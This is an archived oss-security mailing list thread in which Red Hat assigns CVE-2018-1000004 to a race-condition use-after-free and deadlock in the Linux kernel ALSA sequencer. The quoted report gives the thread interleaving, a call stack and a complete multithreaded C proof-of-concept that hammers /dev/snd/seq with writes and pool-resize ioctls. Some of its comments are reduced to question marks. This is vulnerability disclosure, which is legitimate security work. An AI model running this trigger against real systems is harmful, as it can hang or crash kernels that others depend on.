Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Tue, 16 Jan 2018 09:38:32 -0700
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security <oss-security@...ts.openwall.com>
Subject: Re: sound driver Conditional competition

Apologies, I had asked the reporter for info and it wasn't what I
needed so it took some time to sort out, please use CVE-2018-1000004
for this issue.

On Tue, Jan 16, 2018 at 8:51 AM, Marcus Meissner <meissner@...e.de> wrote:
> Hi,
>
> Kurt, will you still allocate the CVE or should we ask Mitre.
>
> Ciao, Marcus
> On Tue, Jan 16, 2018 at 03:21:19PM +0800, luo wrote:
>> PRODUCT: linux kernel
>> VERSION:   Most versions.some deadlock ,some uaf.2.6。I tested 2.6 versions, 3.10 versions, and 4.12
>> PROBLEMTYPE:  deadlock  or uaf
>> REFERENCES:https://github.com/torvalds/linux/commit/b3defb791b26ea0683a93a4f49c77ec45ec96f10
>> DESCRIPTION:
>> This vulnerability, which belong to UAF caused by race conditions,
>> can impact the majority of linux distribution(audio system).
>>
>>
>> In file seq_clientmgr.c, function snd_seq_write and
>> snd_seq_ioctl_set_client_pool can cause conditional competition problems
>> when multi-thread is used.
>>
>> snd_seq_write calls snd_seq_cell_alloc to allocate memories for cell from
>> client->pool. When pool is exhausted, schedule is called to switch current
>> thread to another thread, and add current thread to a queue for waiting.
>>
>> snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing to set
>> client->pool->closeing to 1, in order to prevent re-entrant. It also
>> calls snd_seq_queue_client_leave_cells to release cell. And it then calls
>> snd_seq_pool_done, first to release pool and allocate new pool and second
>> to set client->pool->closeing to 0. Function wake_up is both called in
>> snd_seq_queue_client_leave_cells and snd_seq_pool_done, to wake up the
>> thread in the waiting queue mentioned above, avoiding the use of any
>> wild pointer.
>>
>> All is seemed to be well designed , but there is a trick:
>>
>>
>> -- Thread A --
>> step 1:
>> A calls snd_seq_write to exhaust pool.
>>
>> step 2:
>> snd_seq_write calls func schedule to schedule threads, now go to Thread B.
>>
>>
>>
>> -- Thread B --
>> step 1:
>> B calls snd_seq_ioctl_set_client_pool.
>>
>> step 2:
>> snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing.
>> snd_seq_pool_mark_closing sets client->pool->closeing to 1.
>>
>> step 3:
>> Then snd_seq_ioctl_set_client_pool calls snd_seq_queue_client_leave_cells.
>> snd_seq_queue_client_leave_cells release the memories of cells.
>> snd_seq_queue_client_leave_cells calls wake_up, now back to Thread A.
>>
>>
>>
>> -- Back To Thread A --
>> step 1:
>> A will find out that client->pool->closeing is 1, so snd_seq_cell_alloc fails.
>>
>> step 2:
>> Returning from snd_seq_cell_alloc to snd_seq_write. snd_seq_write also fails.
>>
>> step 3:
>> A now call snd_seq_ioctl_set_client_pool.
>>
>> step 4:
>> snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing.
>> snd_seq_pool_mark_closing sets client->pool->closeing to 1 again.
>>
>> step 5:
>> Then snd_seq_ioctl_set_client_pool calls snd_seq_queue_client_leave_cells.
>> cell is already release by B.
>> And because no thread is in waiting queue, so wake_up will not be called.
>>
>> step 6:
>> Then snd_seq_ioctl_set_client_pool calls snd_seq_pool_done.
>> snd_seq_pool_done release pool and allocate new pool.
>> snd_seq_pool_done sets client->pool->closeing to 0.
>> Now it's become reentrant.
>>
>> step 8:
>> So after a call to snd_seq_ioctl_set_client_pool, pool is new.
>> Thread A can call snd_seq_write many times to exhaust the memories of pool.
>> Then A go to sleep, now switch to thread B.
>>
>>
>>
>> -- Back To Thread B --
>> step 1:
>> Back to snd_seq_queue_client_leave_cells, after previous call to wake_up.
>>
>> step 2:
>> Return to snd_seq_ioctl_set_client_pool.
>> snd_seq_ioctl_set_client_pool call snd_seq_pool_done.
>> snd_seq_pool_done release and allocate new pool.
>> now client->pool->closeing is already 0, and pool is new.
>>
>>
>> --------------------------------------------------------------------
>>
>> Now you see, the pool allocated by thread A is now released by thread B.
>> And thread B allocate new pool, which is the 3rd pool.
>>
>> But in thread A, in snd_seq_cell_alloc called by snd_seq_write, the pool is
>> actually the 2cd pool, and meet a dead loop:
>>
>> while (pool->free == NULL && ! nonblock && ! pool->closing)
>>
>> Note the 2cd pool is released by thread B in B's snd_seq_ioctl_set_client_pool.
>>
>> Further more, if serveral threads switch between sechedule and wake_up, there will be more obvious sequelae.
>>
>> ----------------------------------------------------
>>
>> call stack:
>>
>> thread a:
>> -> snd_seq_write
>>    -> snd_seq_client_enqueue_event
>>       -> snd_seq_event_dup
>>          -> snd_seq_cell_alloc
>>             -> schedule -> thread b
>>
>> thread b:
>> -> snd_seq_ioctl_set_client_pool
>>    -> snd_seq_pool_mark_closing    (set closeing to 1)
>>    -> snd_seq_queue_client_leave_cells  (release cell)
>>       -> wake_up -> thread a
>>
>> thread a:
>> -> snd_seq_ioctl_set_client_pool
>>    -> snd_seq_pool_mark_closing    (set closeing to 1 again)
>>    -> snd_seq_queue_client_leave_cells  (already release cell by thread b)
>>    -> snd_seq_pool_done    (release pool and allocate new pool, 2cd pool;
>>                           set closeing to 0)
>> -> snd_seq_write
>>    -> snd_seq_client_enqueue_event
>>       -> snd_seq_event_dup
>>          -> snd_seq_cell_alloc
>>             -> schedule -> thread b
>>
>> thread b:
>>    back to snd_seq_queue_client_leave_cells, after func wake_up
>>    -> snd_seq_queue_client_leave_cells
>>    -> snd_seq_pool_done    (release pool and allocate new pool, 3rd pool;
>>                           set closeing to 0)
>>       (leave 2cd pool's cell unhandled)
>>       -> wake_up -> thread a:
>>
>> thread a:
>> -> snd_seq_cell_alloc:
>>    while (pool->free == NULL && ! nonblock && ! pool->closing)
>>    meet dead loop, now pool in thread a is the 2cd pool, has been released,
>>    now is a wild pointer.
>>
>>
>> ---EOF---
>>
>> At 2018-01-12 09:24:58, "kseifried@...hat.com" <kseifried@...hat.com> wrote:
>> >I'll need some details:
>> >
>> >[PRODUCT]:
>> >[VERSION]:
>> >[PROBLEMTYPE]:
>> >[REFERENCES]:
>> >[DESCRIPTION]:
>> >
>> >problemtype ideally the CWE identifier (http://cwe.mitre.org) and
>> >description includes product, version affected, description of problem,
>> >affected component, impact, etc. The references needs to be a public URL
>> >with details on the issue, if it's embargoed I'll need a URL where you
>> >plan to publish, thanks. No key found so sending plaintext.
>> >
>> >
>> >On 2018-01-11 06:19 PM, luo wrote:
>> >
>> >--
>> >
>> >Kurt Seifried -- Red Hat -- Product Security -- Cloud
>> >PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
>> >Red Hat Product Security contact: secalert@...hat.com
>
>> #include <stdio.h>
>> #include <sys/types.h>
>> #include <sys/stat.h>
>> #include <fcntl.h>
>> #include <unistd.h>
>> #include <stdlib.h>
>>
>> #define SNDRV_SEQ_EVENT_LENGTH_MASK   (3<<2)
>> #define SNDRV_SEQ_QUEUE_DIRECT                253
>> #define SNDRV_SEQ_EVENT_LENGTH_VARIABLE       (1<<2)
>> #define SNDRV_SEQ_PORT_CAP_WRITE      (1<<1)
>> //int client;
>> typedef int  snd_seq_client_type_t;
>> typedef unsigned int snd_seq_tick_time_t;
>> typedef unsigned char snd_seq_event_type_t;
>> struct snd_seq_real_time {
>>       unsigned int tv_sec;    /* seconds */
>>       unsigned int tv_nsec;   /* nanoseconds */
>> };
>> struct snd_seq_ev_ext {
>>       unsigned int len;       /* length of data */
>>       void *ptr;              /* pointer to data (note: maybe 64-bit) */
>> };
>> struct snd_seq_addr {
>>       unsigned char client;   /**< Client number:         0..255, 255 = broadcast to all clients */
>>       unsigned char port;     /**< Port within client:    0..255, 255 = broadcast to all ports */
>> };
>> struct snd_seq_client_info {
>>       int client;                     /* client number to inquire */
>>       snd_seq_client_type_t type;     /* client type */
>>       char name[64];                  /* client name */
>>       unsigned int filter;            /* filter flags */
>>       unsigned char multicast_filter[8]; /* multicast filter bitmap */
>>       unsigned char event_filter[32]; /* event filter bitmap */
>>       int num_ports;                  /* RO: number of ports */
>>       int event_lost;                 /* number of lost events */
>>       int card;                       /* RO: card number[kernel] */
>>       int pid;                        /* RO: pid[user] */
>>       char reserved[56];              /* for future use */
>> };
>> union snd_seq_timestamp {
>>       snd_seq_tick_time_t tick;
>>       struct snd_seq_real_time time;
>> };
>> struct snd_seq_client_pool {
>>       int client;                     /* client number to inquire */
>>       int output_pool;                /* outgoing (write) pool size */
>>       int input_pool;                 /* incoming (read) pool size */
>>       int output_room;                /* minimum free pool size for select/blocking mode */
>>       int output_free;                /* unused size */
>>       int input_free;                 /* unused size */
>>       char reserved[64];
>> };
>> struct snd_seq_port_info {
>>       struct snd_seq_addr addr;       /* client/port numbers */
>>       char name[64];                  /* port name */
>>
>>       unsigned int capability;        /* port capability bits */
>>       unsigned int type;              /* port type bits */
>>       int midi_channels;              /* channels per MIDI port */
>>       int midi_voices;                /* voices per MIDI port */
>>       int synth_voices;               /* voices per SYNTH port */
>>
>>       int read_use;                   /* R/O: subscribers for output (from this port) */
>>       int write_use;                  /* R/O: subscribers for input (to this port) */
>>
>>       void *kernel;                   /* reserved for kernel use (must be NULL) */
>>       unsigned int flags;             /* misc. conditioning */
>>       unsigned char time_queue;       /* queue # for timestamping */
>>       char reserved[59];              /* for future use */
>> };
>> struct snd_seq_queue_info {
>>       int queue;              /* queue id */
>>
>>       /*
>>        *  security settings, only owner of this queue can start/stop timer
>>        *  etc. if the queue is locked for other clients
>>        */
>>       int owner;              /* client id for owner of the queue */
>>       unsigned locked:1;      /* timing queue locked for other queues */
>>       char name[64];          /* name of this queue */
>>       unsigned int flags;     /* flags */
>>       char reserved[60];      /* for future use */
>>
>> };
>> struct snd_seq_event {
>>       snd_seq_event_type_t type;      /* event type */
>>       unsigned char flags;            /* event flags */
>>       char tag;
>>
>>       unsigned char queue;            /* schedule queue */
>>       union snd_seq_timestamp time;   /* schedule time */
>>
>>
>>       struct snd_seq_addr source;     /* source address */
>>       struct snd_seq_addr dest;       /* destination address */
>>
>>       union {                         /* event data... */
>>               struct snd_seq_ev_ext ext;
>>       } data;
>> };
>> //gcc competition.c -o competition -lpthread
>> //./competition
>> void *thread1(void *arg)
>> {
>>       struct snd_seq_event event;//??????????????????????????? snd_seq_fifo_event_in
>>       char* buf;
>>       int num;
>>       int i;
>>       int ret=0;
>>       int fd=*(int*)arg;
>>       struct snd_seq_client_pool pool_info;
>>       buf=(char*)malloc(60000);
>>       event.flags=SNDRV_SEQ_EVENT_LENGTH_VARIABLE;//snd_seq_ev_is_variable
>>       event.data.ext.len=0xc0000770;
>>       event.data.ext.ptr=0xffffffff;
>>
>>       ///////???????????????
>>       event.type=130;
>>       event.queue=0;
>>       event.dest.client=128;//get_event_dest_client ???2?????????????????? ??????????????? accept_input    //??????????????????
>>       //printf("client %d\n",client);
>>       event.dest.port=0;//snd_seq_port_use_ptr port->capability?????????   ?????????
>>       num=2000/sizeof(event);
>>       for(i=0;i<num;i++)
>>       {
>>               memcpy(buf+i*sizeof(event),(char*)&event,sizeof(event));
>>       }
>>       ret=write(fd,buf,2000);
>>       i=500;
>>       while(1)
>>       {
>>
>>       ret=write(fd,buf,2000);
>>       if(ret>0)
>>       {
>>               printf("write 2000 ok num=%d\n",ret);
>>       }
>>       else
>>       {
>>               i++;
>>       printf("write fail");
>>       pool_info.input_pool=100;
>>       pool_info.output_pool=i;
>>       pool_info.client=128;//??????????????????
>>       //printf("client %d\n",client);
>>       ret=ioctl(fd,1079530316,&pool_info);
>>     if(!(ret<0))
>>               printf("thread1 ok  snd_seq_ioctl_set_client_pool");
>>       }
>>       }
>>
>>
>> }
>> void *thread2(void *arg)
>> {
>>       struct snd_seq_event event;
>>       struct snd_seq_client_pool pool_info;
>>       int fd=*(int*)arg;
>>       int ret=0;
>>       int i=600;
>>       int num;
>>       char* buf;
>>       sleep(3);
>>       pool_info.input_pool=100;
>>       pool_info.output_pool=600;
>>       pool_info.client=128;//??????????????????
>>       //printf("client %d\n",client);
>>       printf("thread2 start");
>>       event.flags=SNDRV_SEQ_EVENT_LENGTH_VARIABLE;
>>       buf=(char*)malloc(60000);
>>               event.data.ext.len=0xc0000770;
>>       event.data.ext.ptr=0xffffffff;
>>       num=2000/sizeof(event);
>>       ///////???????????????
>>       event.type=130;
>>       event.queue=0;
>>       event.dest.client=128;//get_event_dest_client ???2?????????????????? ??????????????? accept_input    //??????????????????
>>       //printf("client %d\n",client);
>>       event.dest.port=0;//snd_seq_port_use_ptr port->capability?????????   ?????????
>>               for(i=0;i<num;i++)
>>       {
>>               memcpy(buf+i*sizeof(event),(char*)&event,sizeof(event));
>>       }
>>       while(1)
>>       {
>>     sleep(3);
>>       pool_info.output_pool=i;
>>       i++;
>>       if(i%2)
>>       {
>>
>>               pool_info.output_pool=600;
>>       }
>>       //close(fd);
>>       ret=ioctl(fd,1079530316,&pool_info);//snd_seq_ioctl_set_client_pool
>>       if(ret<0)//?????????????????????pool
>>       {
>>               printf("snd_seq_ioctl_set_client_pool fail\n");
>>       }
>>       else
>>       {
>>               ret=write(fd,buf,2000);
>>               if(!(ret<0))
>>               printf("thread2 ok  write");
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>           ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               ret=write(fd,buf,2000);
>>               printf("snd_seq_ioctl_set_client_pool ok \n");
>>
>>       }
>>
>>
>>       }
>>
>>
>>
>>
>> }
>>
>>
>> int main()
>> {
>>
>>       int fd;
>>       struct snd_seq_client_info clent_info;
>>       struct snd_seq_port_info port_info;
>>       struct snd_seq_queue_info queue_info;
>>       int ret=0;
>>       pthread_t th;
>>
>>       fd =open("/dev/snd/seq", O_RDWR);
>>       if(fd==0)
>>       {
>>               printf("fail open%d\n",fd);
>>               return 0;
>>       }
>>       ioctl(fd,3233567504,&clent_info);//snd_seq_ioctl_get_client_info
>>       port_info.addr.client=128;//??????????????????
>>       //client=clent_info.client;
>>       //printf("main client %d\n",clent_info.client);
>>       port_info.addr.port =8;
>>       port_info.capability=SNDRV_SEQ_PORT_CAP_WRITE;
>>       ioctl(fd,3231994656,&port_info);//snd_seq_ioctl_create_port ??????
>>       memset(&queue_info,0x00,sizeof(queue_info));
>>       ioctl(fd,3230421810,&queue_info);//snd_seq_ioctl_create_queue ?????????????????? queue_info->queue
>>
>>     ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>       if(ret!=0)
>>       {
>>               printf("create thread11111111111111111 error!\n");
>>           return -1;
>>       }
>>       else
>>       {
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>               printf("create thread1 okokokokokokokokoko!\n");
>>       }
>>       ret=pthread_create( &th, NULL, thread2, (void*)&fd);
>>       if(ret!=0)
>>       {
>>               printf("create thread2222222222 error!\n");
>>               return -1;
>>       }
>>       else
>>       {
>>               printf("create thread2 okokokokokokokokoko!\n");
>>       }
>>       //ret=pthread_create( &th, NULL, thread1, (void*)&fd);
>>       sleep(1800);
>>
>>
>>       return 0;
>> }
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>
>
> --
> Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@...e.de>



-- 

Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
Red Hat Product Security contact: secalert@...hat.com

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ